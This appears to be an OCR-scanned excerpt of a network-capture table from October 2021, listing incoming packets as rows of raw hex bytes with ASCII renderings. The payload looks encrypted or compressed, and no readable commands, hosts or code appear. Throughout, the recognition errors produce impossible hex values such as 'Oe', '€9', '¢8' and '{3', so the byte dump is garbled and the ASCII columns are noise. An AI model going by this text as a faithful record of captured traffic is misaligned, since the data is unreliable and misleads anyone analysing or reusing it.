8d b6 6d d8 12 60 20 4d bb €9 31 6e 8b d0 27 8f
Data Ascii: j'??D,7:1DJ$9SGZ{9'". $'ido![ERI1Z%fBI21O*Mkeh2y/-a=;(,C#rjcV_2TA k$9F4r{szkV6->83+"'m" M1n'

2021-10-13 13:51:48 UTC 229 IN Data Raw: 75 bc be 60 20 3d 28 37 ac 72 9a 67 8f 06 ad 25 53 14 46 57 54 52 84 14 3a 79 10 6d da a9 61 c5 c7 30 61 e3
4341 2b f7 b4 99 a2 91 7e a4 19 Ob 97 ef 1f 79 11 ba 90 9e 1d 79 9a 7a fc e0 f2 b7 80 71 2e 8e al 57 08 c¢7 31 ac d1 98
1548 79 e5 44 d5 31 30 3f ad de a3 fd 5f 8a c¢5 6d ce bb 38 bc 50 64 d8 dO 5b bd 2c b7 98 el 9d ef c6 af 5¢ bb 37 b6 a7
e589 f6 6d 43 67 33 a6 ca 58 c7 5a eb ¢8 1a d5 54 9b 66 fe b0 a9 3a 37 64 8b ab 83 42 72 2d a6 a2 €0 90 b5 aa d8 b3 09
3728 0b db 55 25 73 al 84 67 bb 0f 55 c4 1a 85 46 22 f8 e8 f6 b3 85 cb df 88 4b 44 50 56 79 f2 ba aa aa 97 79 c5 83 cf
3234 47 f4 e6 81 2a da 59 eb 6d c9 75 d3 5b b4 ab €3 23 d6 a7 a0 4c c9 86 36 f2 64 c1 a7 d4 8d a0 e8 ad ea d7 4d d1 f5
27 c3 52 6¢ de 49 a8 6e e0 65 a2 59 f8 88 a8 db 1d d8 5f
Data Ascii: u” =(7rg%SFWTR:yma0aCA+~yyzq.W1HyD10?_m8Pd[,\7TmCg3XZTf.7dBr-7(U%sgUF"'KDPVyy24G
*Ymu[#L6dM'RIIneY_
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 230 IN Data Raw: Oe 6f 70 73 d7 7c 7b b9 8f 23 13 d3 d9 70 73 bf 8f 96 e2 dc 41 94 {3 5e 92 90 5c¢ 8f bb 38 b7 02 1a €9 a0 b8 f0
24 fe 75 2f 54 c9 4f 71 04 6e 49 d8 07 2d 88 2f 57 75 ac 28 65 7c aa 45 8e ef 30 5a 88 22 a7 cf 6b fa 02 32 c3 92 1f 3e 28
2a 04 be de ab 2f 68 5a cc dd be 23 40 b5 06 fO el 68 20 74 ec f3 57 64 be be c6 ac 86 b6 26 2d 20 df 01 52 e3 32 d3 al
6e fabl d7 80 9d a6 41 dd 7e 2f 03 f6 6a bf 09 d2 93 f5 1d cd el 3c 71 71 ae b1 97 c9 3b 0d 17 82 83 71 3c e4 00 d7 33
17 7e 8a 20 69 bl 3f 31 69 €9 63 69 d8 71 84 47 63 2a 77 8f 8b 2f 47 fa 8f 6e 6b ef cf d7 dc 35 42 83 70 1a b9 Oe 77 3c 9c
2b 36 8¢ 03 33 9a a5 4e 85 0b b5 17 14 17 50 09 9d db 26 41 dd 60 cb dc 9a f4 70 4c 99 b5 a7 ca ba 1c fc 5f d6 21 3b 82
d5 b6 58 8b 38 ae ¢8 14 0a 21 2f cd 10 9a f5 aa
Data Ascii: ops|{#psA™M\8$u/TOqgnl-/Wu(e|E0Z"k2>(*/hZ#@h tWd&- R2nA~/j<qq;q<3~ i?1licigGc*w/Gnk5Bpw<+63
NP&A'pL_!;X8!/

2021-10-13 13:51:48 UTC 231 IN Data Raw: 02 d6 23 5b 7e 64 49 e0 cd 20 89 80 6a 2c 8c 6e 2d 39 b7 b4 ba 0a 85 43 98 79 6¢ 15 30 ee 06 0 be 4c dd 8f
a8 3b 89 6d e7 19 9a 8b 61 6b 00 d4 da a2 d7 81 ed df 96 3b 98 54 ad a5 41 bl 72 76 a5 42 14 ac 96 f8 aa 9e b3 43 39
d9 7c a9 81 36 44 8d c4 45 37 7e e9 fb df 3b e4 c4 59 05 58 29 f6 dc eb €3 81 f3 7e a7 al f5 97 23 0a d1 cc ca 9c 5f d8 ad
19fd el Oc d8 51 d2 e7 e2 13 34 ec 58 f8 €8 1e ec f1 6e e2 1b 58 a2 08 da 37 1f 64 cb b2 31 73 26 95 f9 ¢7 0f dd 78 3c 3f
79 7c 6a3b b4 38 f2 90 7a cb 0d 4c 6e Oc 02 69 cO 2e 19 3f Oe 35 a6 76 6a 15 el 6e e3 4a 01 7c 01 4c dd 1b 29 00 41 c3
81 ed a4 53 f8 4b 43 4d db cc 14 59 89 75 44 ad 8a b9 2c d3 2d 12 5a b3 35 2f bc c7 6e 33 6b 4e f0 87 b6 b7 9b 63 da 45
ae 63 91 fa b8 9¢c 57 bb 45 2 {3 cf 5¢ 91 97 8d 50 3a
Data Ascii: #[~dl j,n-9CylOL;mak; TArvBC9|6DE7~;YX)~#_Q4XnX7d1s&x<?y|j;8zLni.?5vjnJ|L);ASKCMYuD,-Z5/n3
KNCECWE\P:

2021-10-13 13:51:48 UTC 232 IN Data Raw: d5 35 27 ea cc 9f b2 a5 d8 5¢ d8 2f 63 Oe d0 ba 58 ed 13 ed 50 b4 43 1d 4b c4 a3 51 7b cf 1a 90 9f 0d 92 3e 9b
7a 36 4d b2 ab c0 67 98 18 9a 6b 37 Oe 5a ad 29 bf f3 31 35 1b b3 da ae 60 75 25 6b b3 23 61 cb 4f 92 60 8d 38 64 f4 79
01 al a3 fc 91 51 8e Oa dc ba c6 f5 9a Ob 0f 84 42 ad 9a aa 95 06 42 d2 a0 36 23 c5 b8 e9 be d5 54 35 64 e5 b0 a0 8b 37
e4 be ca 75 9e 00 7e ad 72 9c 34 b6 a5 d9 64 24 7e 63 a8 45 fa 90 b0 cb c0 34 bd b0 45 bc e3 47 20 aa 1e f0 05 9f b0 el
2e 552 2f 7f 27 7e d6 7c €9 59 10 b2 17 8 6d f1 74 d7 11 ae 75 2d 1c 5d 9f ab 46 10 69 04 4e 59 32 a9 70 dd a2 d2 22
63 66 93 d6 99 53 29 91 b6 a2 e3 eb 95 2c fe d8 28 01 06 48 57 6b 4a bf 87 a4 fa c1 91 86 5 bd 37 42 fd 03 e7 b1 4b 16
6c 16 92 b5 59 el dd 3f 4e 3d 24 b0 4e 40 2e c9 7a 42
Data Ascii: 5'VeXPCKQ{>z6Mgk72)15 u%k#a0 8dyQBB6#T5d7u~r4d$~cE4EG .R/'~|Ymtu-]FiNY2p"cfS),(HWkJI7BKIY?
N=$N@.zB

2021-10-13 13:51:48 UTC 234 IN Data Raw: b7 6b a6 56 f2 05 6b ad eb d7 52 39 32 bb b1 48 dc 35 f9 cd 36 ea d8 da ad 86 c6 26 fc 15 a2 cb 97 35 34 93
07 6d 47 3a 2f 02 Oe e3 2e a5 4b 2a bl de 76 64 22 41 46 a9 38 69 d8 6f 87 17 4e 2f d7 77 66 23 3a 2e f6 7b 85 81 43 ff
53 fc 8acd a9 ab 18 7c de ad d6 c2 bb ec 31 78 27 80 be 3d 7f 5a da fa 59 5d 00 02 52 ec a5 77 4e 3e 28 28 be 5b 18 ee
d7 3b 32 d4 dd 56 90 00 5d al 72 25 38 f6 5¢ 38 f7 09 ef 08 Ob 9e ¢5 86 96 75 c5 23 3e 2d b6 60 f6 d8 51 5e 6e b2 52 40
€6 3b b9 e7 f8 cd 04 f6 1e f1 bb a0 54 1b 40 Oe 6d 97 ca fb 6d ed 1c 25 cf f5 c8 1b 5b 76 6a d7 fb 61 41 1f b9 09 44 c4 3¢
91 cd 96 16 32 50 Of af 75 79 Oa f8 9¢ 54 c9 a5 fb 52 60 2e el 03 14 72 d0 8e 14 d4 70 12 b9 06 2c f4 12 ad ee 3f 42 cc f1
97 a4 f2 70 b5 d0 1f 98 90 06 9c 94 50 30 de 94 ce
Data Ascii: KVKR92H56&54mG:/.K*vd"AF8ioN/wf#: {CS|1x'=ZY]RWN>(([;2V]r%8\8u#>-"Q"nR@;T@mm%[vjaAD<2Puy
TR .rp,?BpP0

2021-10-13 13:51:48 UTC 235 IN Data Raw: db eb 6d 20 4e b1 e0 eb f5 c5 03 66 7a c9 8e ca eb 73 fc 25 40 b7 f3 5a d3 12 d7 84 3f ee 22 ¢6 39 90 bb 8a 76
eb 5d cc 7acl f54b 53 51 52 17 Oa ee d7 a3 2a f7 8e 00 4e bl aa e3 22 c0 b7 10 76 31 8a b9 cb 31 96 45 c0 f2 21 a3 ad
d7 61 a5 ef 4b 02 4a 3f 84 68 6b 09 ac 47 1f ee 45 45 ¢5 40 1c d7 a5 58 d2 d4 98 2f 53 17 d3 2c b1 71 76 7a b2 52 3a d2
bf 94 ad ae ee 7 3c 56 64 ab b5 db 50 a0 9e c4 4a a9 3a df 05 38 f5 ed de e cf 87 0d 86 ea d7 56 49 74 da f3 13 ¢7 75
14 27 2b b0 77 7c 43 Oa 6¢ b9 bf 32 6d 08 3d c7 36 3d 08 68 99 85 a4 78 84 bc 52 76 b1 bf 9c 36 54 48 7a 9d 87 fb 13 fe
f1 72 cd cb 35 2a 2a 0b 61 1b 91 0f 59 Oc 34 12 9d 1a 22 d9 dd 76 03 25 1d 32 bb 4d 4d ba 87 d6 55 e3 9d 05 24 c0 c5 3d
4d 62 c1 a8 7e bb 49 3d 44 c7 7b 40 db 47 fa 5c¢ {3 bc
Data Ascii: m Nfzs%@Z?"9v]zKSQR*N"v11E!aKJ?hkGEE@X/S,qvzR:<VdPJ:8VItu'+w|CI2m=6=hxRv6 THzr5**aY4"v%2M
MU$=Mb~I=D{@G\

2021-10-13 13:51:48 UTC 236 IN Data Raw: 60 3e 3e 17 55 d5 fe 7c 54 57 41 bb d4 Oe a8 74 f5 ea 14 e6 48 58 22 70 bf ¢3 09 d2 2a 3f 7e 2a 49 bd c9 af a2
€845 0a b9 98 cd 10 9a 16 06 31 f3 d1 f3 9f 0a 26 da d5 75 a3 4e 01 11 7f 28 9f c1 ec 4e 53 6e 73 f5 ad 27 b2 c0 b6 be
e4 1f 09 d9 0a 60 50 9a da fd 41 1d cc 3b 69 de c4 73 be 35 b3 bd 13 19 d8 ac 94 03 d3 fd 33 a2 fb 7e a2 d1 df 3c 46 08
€9 8a 52 7c e0 26 8e 73 bf 69 e0 67 97 84 71 bb ea Oc bc 66 2d 63 44 8a 94 11 ¢5 87 al c9 ac 12 34 92 04 66 a8 f0 29 30
ad 72 41 34 e4 ca2a9b 75 c7 d9 26 al fa 13 74 d3 84 89 45 d5 69 8f 31 c9 3e 4b 5b 36 75 98 cc 77 83 35 41 Ob eb c0 c6
d2 54 9b 5d 1c 2a 8d 10 dd Oe 8a a5 d2 9a 04 5e 1c f0 4a 87 c1 06 71 a4 93 16 cf 79 36 96 dc 8e 5e 61 Oe b8 3 aa 6b a0
7f cb 2a a8 35 98 9c 74 34 20 80 c2 40 84 fc 0d 5a 89
Data Ascii: “>>U|TWAtHX"p*?~*|E1&UN(NSns" PA;is53~<FR|&sigqf-cD4f)0rA4*u&tEil>K[6uwSAT]*Jqy6 ak*5t4 @Z

2021-10-13 13:51:48 UTC 238 IN Data Raw: a5 62 Ob fd 4b d3 f5 1f 87 4d fc cb 6e 2d 89 5a 8d 79 b6 1c 5b 03 ae 7c 3e 21 01 b7 62 66 42 3a 88 {7 96 59 a9
15 72 1e 45 3b d8 df bd b7 13 70 9a 48 18 b9 90 c9 15 da 05 Oa a8 8e 96 fb f6 95 ae a6 66 64 1e 01 68 b2 44 16 53 46 d3
€6 26 8f 48 32 94 23 65 8c cc 4b e5 c5 e4 ea e6 2d 44 c7 5f fe 98 9f 0a 52 19 bc b3 85 d2 c1 36 92 69 ca 61 be 27 55 1
5b 87 3d 6e ac 87 e7 78 ef d3 56 82 30 30 cf 24 3¢ 02 d3 fd ad ee 1b a6 27 63 28 7b d5 2¢ 5d 6b 17 1d df 27 57 b3 cd 90
3e 73 7f a0 ce d1 95 14 63 49 12 a4 1c 57 2c €6 50 26 2d fb 73 2d b4 b3 bf 6d 28 10 c1 46 03 16 7a 6d 43 54 f8 44 cO €6
d2 e0 82 13 18 4e ch eb 44 48 3f 1d 1a 08 9d c9 92 e4 43 80 d0 27 59 Oc a8 1b 37 15 7e 07 f5 ac c1 6e 33 c5 46 bb 92 15
09 d7 45 74 7e 5¢ f4 69 47 6f 10 fa 7b e7 62 43 c5 23
Data Ascii: bKMn-Zy[|>IbfB: YrE;pHfdhDSF&H2#eK-D_R6ia'U[=nxV00$<'c({, K W>ScIW,P&-s-m(FzmCTDNDH?C'Y 7~
N3FEt-\iGo{bC#

2021-10-13 13:51:48 UTC 239 IN Data Raw: 7b 1e c0 f4 41 2c 88 53 40 69 3¢ 69 7f ef 2 66 a9 b9 d6 78 bd 8b f7 51 ac e4 3f 9b 28 6b 14 ee 8e f5 6e c5 4a
48 €0 bb 37 43 70 02 9e 29 21 ¢8 cf cb 6 b5 19 45 65 €9 69 11 19 d1 df 0a 25 a9 93 72 4c 16 46 9e 81 5d 2d 2e 40 d2 b3
8f 44 35 79 0a 84 6e 12 2a a5 de 02 4a 3f ¢l c0 74 a8 3c d4 5a ea 59 ff Ob 3e 58 Oc 2 a4 {7 6 27 Oc d3 10 af 39 43 47 74
39 e4 c0 39 7c 5b 15 7 d2 1b 22 46 7f da 34 Oe 85 d2 68 ¢3 c4 ac 7b 97 ef 57 62 bf 39 27 a3 2d 53 3f ba 55 72 7a 63 c1
6a 5b db 7a fc b7 e4 cd Oe 24 ff 96 80 53 70 7b fc c0 44 52 d5 e9 €6 d7 d3 be 6a fb 1a 2d 9f 00 62 e0 fc 33 50 38 43 Ob 6¢
32 c2 bl 71 0c ef d9 7c 8e b6 54 1a 41 e8 74 13 81 75 29 ef d3 02 5e ¢9 d0 7a 76 b0 38 12 €0 12 49 9a 72 18 45 6b a5 2
df 1e 48 3f 99 f4 1e 9b 12 09 d1 56 41 d9 2d 6d
Data Ascii: {A, S@i<i/fxQ?(knJH7Cp)!Eei%rLF]-. @D5yn*J2t<ZY>Xn'9CGt9|["F4h{Wh9'-S?Urzcj[z$Sp{DR}-b3P8
Cl2q|TAtu) zv8IrEKH?VA-m

2021-10-13 13:51:48 UTC 240 IN Data Raw: d6 9c a6 39 a6 02 02 12 1f d7 ef 9f b4 04 56 07 9f ab a9 f2 70 b3 c4 b0 11 ee b2 88 7e 6e 2f e7 d4 5d d6 9e ae
92 90 8d Oe df 61 49 8f 37 43 3e 12 2a 2f 20 a5 ab a7 ca 66 3b d3 82 0a ab 68 c0 dd e7 82 67 fc 4a fe €8 1d 7a d2 09 58
9c 2e da0a 71 9f 98 10 19 cf 98 87 23 cO 1c ab d5 77 20 c1 12 92 1a 52 c1 64 a0 33 97 39 06 7a c8 37 Of 45 16 27 53 la
Of 5f f7 f3 ¢3 44 b7 2c 18 64 07 a4 3a fd 44 29 86 41 89 80 cc 32 df b9 ae ad 06 7a d7 ef 44 55 87 cb 57 e7 98 4b ea bl a7
11 75 07 e7 c6 32 3e 15 d1 37 fa 8a 20 3b f9 00 9b 54 35 al 9a 64 29 09 8a bd 8b 36 8¢ 18 67 30 79 1d cc df 38 f6 90 bc
4d 2f c8 ed 66 bf 4c d5 cb 74 71 92 e6 a4 92 e3 c6 b7 18 5b 14 e0 67 5a 25 68 f9 e8 b3 ee 08 aa a0 ee d5 85 b1 55 c8 55
64 ed ce 95 ce 03 3e 28 a6 67 95 2a 83 9d 07 le dd
Data Ascii: 9Vp~n/]al7C>*/ f;hgJzX.g#w Rd39z7E'S_D,d:D)A2zDUWKu2>7 ;T5d)6g0y8M/fLtq[gZ%hUUd>(g*
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 241 IN Data Raw: a3 45 89 f4 02 97 92 77 c5 06 dd fe 1a 13 58 36 64 4d b8 89 53 8d e3 41 1d d0 b3 99 05 fa el 05 33 89 29 49
3d 3e 59 e6 41 de 97 94 c3 6d fc 7f db cb f1 4e 24 48 ef 94 b8 3e 21 ea 6a 78 Oe 43 el 88 €2 97 f4 01 97 8¢ 88 52 27 9d
1bad bl 17 7b 93 Of 5d f9 6d bd bf 74 de a7 9e 1f 01 04 9e 95 23 b5 8¢ 35 1e c1 dc le e9 be ea e6 74 2e 26 Oc €6 2e 9c
a6 90 90 ca 83 59 68 4c fd fb eb 44 c7 d4 el f2 9d 09 da a0 aa ad d7 5f 28 5e 1b fc 8a ce a9 99 b3 7c de 94 97 79 99 23 f0
87 a4 17 4a 6d f0 55 5e 29 b1 42 2e 89 17 b3 1e 1le 4f d6 ec 81 a9 17 9a 2a db 37 84 c1 dd 56 90 53 ee 8d 96 78 fb 2e f9
65 a7 5e 07 00 79 05 c4 05 52 2e 72 28 8f 2c b6 €3 32 bb €3 08 63 7a d9 15 6e 61 d7 bc ba 5d 04 f6 €9 25 8a 90 67 Oc 40
7a 23 elf31f79 a5 f2 da 45 62 87 88 06 bl le fc 4b
Data Ascii: EWX6dMSA3)I=>YAMN$H>!jxCR{Imt#5t.&. YhLD_("|y#ImU")B.O*7VSx.e"yR.r(,2czna]%g@z#yEbK

2021-10-13 13:51:48 UTC 242 IN Data Raw: 4c 91 4b 10 ba a3 44 17 f6 3d 2d 13 ad cc 22 27 7b 77 f3 fc 47 6¢ e5 3e 84 6¢ ef dd de 2f 09 31 22 68 1la 41 6b
39 40 af dc 3d a9 d2 01 ae ce f3 64 ce 77 ad 2c 6d 4e 4e 46 ef 6a 95 3d 4d d3 af 12 cb 42 49 a4 3c 97 78 c6 c5 56 be 42
a2 7958 eb 71 al e5b2 16 5d e5 24 c5 78 e2 71 b6 30 f1 86 74 51 0f 4f 81 0d a0 e5 6b 9d 7a f2 al f2 Ob 16 89 23 f9 fd e3
Ob 52 f4 b8 3e 21 01 b7 7e 6a ca bb 43 dd 6b f1 00 97 b9 fa ad d8 9d 1b b1 6b 89 29 d4 10 08 72 81 b5 06 98 00 d1 ba 19
3e 8fel 99 aa a6 15 bc d6 7b al Oa 40 61 47 51 89 2a ab ca da 62 2a bd b2 ba 86 83 55 02 3b 9d 01 83 22 00 1a 57 f3 1c
d7 8f0b 41 4d 34 d2 ab bd 52 e4 d9 cf 16 30 2c c¢9 de c¢7 93 1c 06 27 5d 2f cf f3 €3 e8 30 d1 9f b9 32 86 Oa 82 2f ab 4c c3
68 37 5d 78 db 98 1b 65 8a 60 50 7d c2 6a b0 25
Data Ascii: LKD=-"{wGI>I/1"hAk9@=dw,mNNFj=MBI<xVByXq]$xq0tQOkz#R>!~jCkk)r>{@aGQ*b*U;"WAM4RO0,']/02/L
h7]xe P}j%

2021-10-13 13:51:48 UTC 243 IN Data Raw: 38 12 5f 2e 29 9e 08 28 03 36 fe 18 a0 b3 e8 8e ce 7f bd 5d 28 9b db 2f 4c a2 Oc fa 90 d8 c8 06 71 55 2e c9 cd
1d 50 48 b5 1e al 48 e2 43 db f1 8f ad b3 53 e0 1a 29 20 39 00 c7 20 ca 6d d5 34 el 29 14 11 38 24 97 5d e3 90 Ob 98 ed
34 d7 57 af Ob 4c b5 52 1f d5 09 7b 3e 8f 55 c4 b7 81 46 aa 21 fb 9a 49 3a bc a9 46 8a cl 44 ac be 3a 7b f2 99 b2 e2 11
3d a8 ba d0 70 98 3e 92 5e 1a d1 76 e4 0f 10 62 40 9a c7 fb 49 35 €3 80 a7 40 3f 78 85 4b 78 31 79 e8 19 a7 fd 5a d4 Oc
e4 20 01 4e c6 54 64 a7 8b e8 54 81 d4 e3 bb c5 fd 77 8b 9f 95 f4 4f 48 5e 8c fa 62 9b 85 4d 16 18 7f €5 85 ec 84 3b 71
2b fb 4e e2 78 e8 ed c8 f2 6d 8f d5 c1 19 a5 c6 59 31 b8 96 65 ef d4 97 57 50 €9 a5 al 81 fd 23 7e 6 Oe ef 5f 8f 2a 6a 04
0f 34 56 18 33 7a 39 a4 ea 80 26 87 b1 2f d6 f8 b8
Data Ascii: 8_.)(6](/LqU.PHHCS) 9 m4)8$J4WLR{>UF!I:FD:{=p>"vb@I5@?xKx1yZ NTdTwOH"bM;g+NxmY 1leWP#~_*j4
V3z9&/

2021-10-13 13:51:48 UTC 245 IN Data Raw: 11 e7 13 96 e4 11 28 1c c7 1f e5 Ob 50 27 a2 8b fe a5 c5 5a 4b ¢8 le a0 45 5b e3 86 00 82 f0 af bl 33 b7 d0 49
1c 58 e0 e5 b8 fe eb df ¢5 12 ce 7f ab a8 2f f8 5d 6a el b1 d3 72 11 cd 43 99 da a3 c5 04 64 el da 45 b3 15 47 c6 f1 2b d7
a3 bf f2 50 fa e9 70 8b 3c 56 89 1e 63 32 61 51 33 6d 36 8 d5 b1l f4 ae 6a d7 61 fa Of 6a 28 da ab bb dd 42 83 72 2a 29
04 6 b0 9c e8 4e 3b 46 97 fb 2a 1f Oc 4e 92 de 52 22 19 43 ad dd 61 f9 54 18 ff bc 3c 7d 7f c8 9e 73 87 95 b3 2d 48 ec 02
64 58 2f 42 ee 80 be 40 23 24 1c e0 85 51 9b 23 d1 Ob 08 59 f2 5¢ 36 ce 7c 23 d8 78 dc 1a a2 al 94 87 58 e5 e2 ff 3a Ob
3e 9b a0 23 3b 31 87 7e 19 9f €6 16 2a bb 53 99 cb dc fd al 11 45 e5 al 9d c¢7 71 be 98 6e d0 85 49 27 53 49 66 00 cd cc
5d c0 96 el f5 03 c7 3a 33 88 ba 39 2c 58 2f 8¢
Data Ascii: (P'ZKE[3IX/]jrCAdEG+Pp<Vc2aQ3m6jaj(Br*)N;F*NR"CaT<}s-HdX/B@#$Q#Y\6|#xX:>#;1~*SEqnI'SIf]:39,X/

2021-10-13 13:51:48 UTC 246 IN Data Raw: ed 9e cc 9b 27 2e 33 21 ¢6 4f aa 20 9d 3c 50 7c 33 8f 92 eb 4c c0 09 4a 22 27 9e 03 52 f5 €9 61 7c 6a ed Od
ed 26 bd 5e 17 97 5¢ 91 19 ad 75 96 df b4 88 8f 52 41 60 6¢ bf 47 38 8 f7 95 7f 84 06 18 9a e5 be b9 ab ac a9 a9 d6 10 0f
98 29 63 89 9b 93 60 6e 7b 19 5d e7 9f 17 e7 ea 93 5a 9e 4b 44 23 04 75 Ob 95 15 93 1d c¢5 db b8 05 51 ec a7 ea aa dc f0
f0 e9 a2 el 9a ba el 1le 8e c2 27 e3 6f b0 cO ec ce 02 b4 al e9 92 08 2c 8b 61 51 2e 52 37 de 78 b6 1c 61 €9 c2 b8 b3 b4
80 8c 853 11 3a 80 97 9d 59 a9 2f 37 a7 50 23 el 20 3e f0 87 1e 15 b6 5d 74 e0 34 15 77 ac b3 f7 da 51 f8 63 6a 71 b5
Oe d6 68 73 d7 c2 3e d1 fe 51 1c 7e ce 59 86 32 19 e5 21 c4 27 45 19 7d 2d e9 a3 8e 6d b3 58 9c 3e 48 d4 37 ac 6a f6 08
ea 57 c9 e0 ad 62 2b e5 d8 07 4f Oc ad c2 c3 35 5e 9b
Data Ascii: *.3!0 <P|3LJ"Ralj&\uRA’IG8)c n{]ZKD#uQ'0,aQ.R7xa:Y/7P# >]t4wQcjghs>Q~Y2!'E}-mX>H7jWh+0O5"

2021-10-13 13:51:48 UTC 247 IN Data Raw: 7e a2 08 03 c5 eb 7a dd 34 ea 1d 53 f9 20 18 ea ec 6d f2 cO 3a 9e c7 46 c0 3c 9e 3b 44 b4 df 09 d9 97 05 cd
e4 29 ce 42 29 fb 34 ae 95 ed bd fc ff 9a f9 6a da c8 59 00 3f a4 ed d4 e4 1d 5 63 57 99 1b 03 44 bc 6e e3 b7 dd 4f 7d db
cf 61 a8 48 30 fd b3 2a d0 1a 29 28 a0 1c 9e e4 2b 05 50 2a eb 79 10 ae 64 3b 1c 5d 76 6b 20 ef 03 cd 90 d2 d7 f4 el 1d
cf fb 3b f6 0d d1 7 cO 1f c9 ce a3 2a a8 be 48 97 97 4d ba fc f9 cb ¢5 Oc 26 c7 ee a2 f8 c1 cf 5d 9d 6d Oe af 75 43 eb 98 4a
f7 bcec 39 14 e4 60 e9 be a2 12 e2 bc a6 1e 01 al 7c cb 0d Oe 9b 7b b1 0a b4 17 52 38 d4 Oc a0 62 62 2d a9 f5 a8 9e aa
7b df 7e b5 f3 €6 4c b8 80 cb b0 67 2¢ 87 11 b5 36 d5 5a 8¢ 96 98 05 b7 b3 dd cd 34 de 5a 64 d1 bl 6b c1 f0 78 77 9f e7
28 6f 6f 44 9e a5 c6 54 31 b8 95 65 ef d7 78 9b
Data Ascii: ~z4S m:F<;D)B)4jY2cWDnO}aHO0*)(+P*yd;]vk ;*HM&]muCJ9"|{R8bb-{~Lg,6Z4Zdkxw(ooDT1lex

2021-10-13 13:51:48 UTC 248 IN Data Raw: 03 75 9e 34 cc 6d 7c b4 c4 4d 14 5b 2e f0 87 77 84 be 8e a6 a5 25 2a 75 52 44 03 df 32 45 b7 e7 c1 42 58 07
00 4a 75 d7 68 59 bd d8 db 04 16 bd ff 8c da 6a f2 5¢c db 60 f6 10 31 e3 6f d1 Ob 13 2e d4 89 c8 7d el Ob c3 d1 68 ed bd
7d 72 b7 4a 28 40 a3 20 4e 83 a6 61 el 82 67 15 93 ff Oe 13 8b f3 48 e4 e0 99 d3 cf d5 1c b3 43 2f e1 32 9d 7c 08 31 6e
8a70 91 19 fb cc 1b 9b 3a f6 ae Ob 79 ed 74 20 8b f4 69 ac 83 1le 73 fc 26 e4 9f 3f 59 1d 36 56 78 dO 4d 84 b3 2c 15 46
2831 7d 3f 72 3c 3a db 07 31 d2 ac 92 90 06 2a 86 4c 47 df 5d 43 06 9f f9 7d 3f e2 48 {7 ac 64 e3 c3 fe a0 58 Ob c3 4d b6
d5 5d af a3 c8 14 6f 08 58 30 ef ee 09 Oe Oa 34 d9 6e be Oe 26 25 6f Of d3 c4 28 7b 40 28 4f ac 7d b1 fe f8 de 9b 66 cf a9
db 72 9a ea a2 a9 c5 2a 03 71 3b f4 a8 ad 11 45 dd
Data Ascii: u4m|M[.w%*uRD2EBXJuhYj\'10.}h}rJ(@ NagHC/2|1np:yt is&?Y6VXM,F(1}?r<:1*LG]C}?HdXM]oX04n&%
o({@(O}frq;E

2021-10-13 13:51:48 UTC 250 IN Data Raw: 36 84 92 28 Oe 22 4c fc 7f ec f9 6e 19 8d 84 e7 d2 8e 72 98 d1 13 a6 5d 6d e8 72 3f 39 00 09 49 4e 44 89 85
6870 c6 11 5d 3d ba 27 b5 07 ¢7 22 c6 €0 8d 2b df d1 67 09 c1 3f 05 9b 09 52 76 7f b9 79 8a 1d 5d 63 6b 27 ad be el 8b
66 c1 28 b5 71 a2 c6 77 70 38 c8 5f 9c 62 4f 7f fb 58 el a9 b5 8a 08 68 70 be 65 73 ec c9 55 29 be de a3 bd 8c 4b fe 16
76 fb 79 e6 29 55 31 11 f4 7a 6a a5 61 4a ed 19 ¢2 71 90 65 fa 17 77 ¢5 56 b8 a3 8a 13 58 bb 27 c2 ad f8 9d d3 73 cd 52
cc 88 71 6d b2 30 8e €5 b1 03 cd 74 Oe aa 32 99 45 1d 71 9e fc 80 d4 54 86 78 c2 75 cf ea a8 b8 54 23 d3 8 a2 f3 91 3c
8b 7f 6a a6 56 f6 24 b7 26 9d e2 b5 bf 64 28 a5 97 e7 5d 8d 44 bd bf 84 d8 6¢ b6 4e 69 04 ce 1e 76 1b b7 64 18 c9 dc 1d
e8h9 8f e0 eb 7f ab 19 d6 3b 19 66 b7 8b a9 03 5d c7 e4
Data Ascii: 6("Lnrimr?9INDhp]=""+g?Rvy]ck'f(qwp8_bOXhpesU)Kvy)U1zjalgewVX'sRgmOt2EqTxuT#<jV$&d(]DINivd;f]

2021-10-13 13:51:48 UTC 251 IN Data Raw: 37 6¢ 5¢c a7 76 d8 11 4b 5c a8 ad f6 d0 77 d2 e7 cO de 10 8f aa 3b 30 1d a4 97 94 b4 a6 88 32 a2 91 7e 74 d7
€6 9a 7a a8 c6 ef 7a ch 96 3¢ 2c 33 0a 11 b3 85 €9 d3 2c 36 98 ba 4c 51 78 ba 40 d1 b0 31 96 bb 7 cf 54 da 44 22 ef 5e
fe 18 a0 85 9e a9 a6 b8 6b 62 58 21 dc 7f 2d b0 59 73 cd 4c 34 d6 fa 10 5b cf f3 7 22 e2 23 4c a3 dd 0f 37 a5 Oe 70 fd a4
b7 c6 6f 25 f8 32 e4 38 70 41 10 56 6b 08 ec 43 ch ab al el 29 59 93 18 ad de a4 c1 57 17 fb 37 f3 27 71 al 82 bf 47 a0
27 6e bc 5a 88 7d a4 33 5b 20 2f 5e 22 52 c¢1 0d 5 28 79 7f ef 5d 2a 44 51 d9 fc bd cd bf 02 77 ¢3 c7 f0 48 a7 14 e7 06 8¢
0Ob 8f fe 6a 4e 2 65 9a 8d ce 7f bb 42 dd 7d c¢3 37 d6 58 c9 2a 9d 82 15 88 b6 65 e2 ef 9e 13 c0 14 da 89 a0 78 57 d5 7f
48 88 58 00 de 6a 72 bc 4e d8 7f fa ¢3 57 5f 7b dO
Data Ascii: 7I\vK\w;02~tzz<,3,6LQX@1TD"kbX!-YSLA4["#L7p0%28pAVKC)YW7'qG'nZ}3[ /"R(y]*DQWH]NeB}7X*ex
WHXjrNW_{

2021-10-13 13:51:48 UTC 252 IN Data Raw: b5 53 b3 b4 67 92 8a 66 30 15 95 f3 b3 6e 05 d7 37 58 90 6¢ 74 ad 9f 02 2e c2 56 84 55 5f fe ca 4d 77 dc ba cc
9d e3 2c b4 c6 93 1c le 03 5e bf 62 07 16 a2 07 66 1d ec 69 a6 94 cd 43 78 08 92 a7 43 28 d1 91 ad f9 ee be 2e 34 be 99
b2 81 8f 15 a9 b4 60 d0 b6 77 49 e7 ce aa b7 60 1f c4 46 51 63 dd 39 e2 83 8e 1c e0 65 a8 e2 b6 37 52 40 92 b8 c5 a8 73
cf 89 a3 92 b3 d2 98 59 Oc bf de 9c 4b 8b 38 1a al e4 ae b2 6¢ 16 74 d1 fc 3f 7b 92 d5 34 45 f5 cb 7c 1b ec 14 Oc e3 5f b9
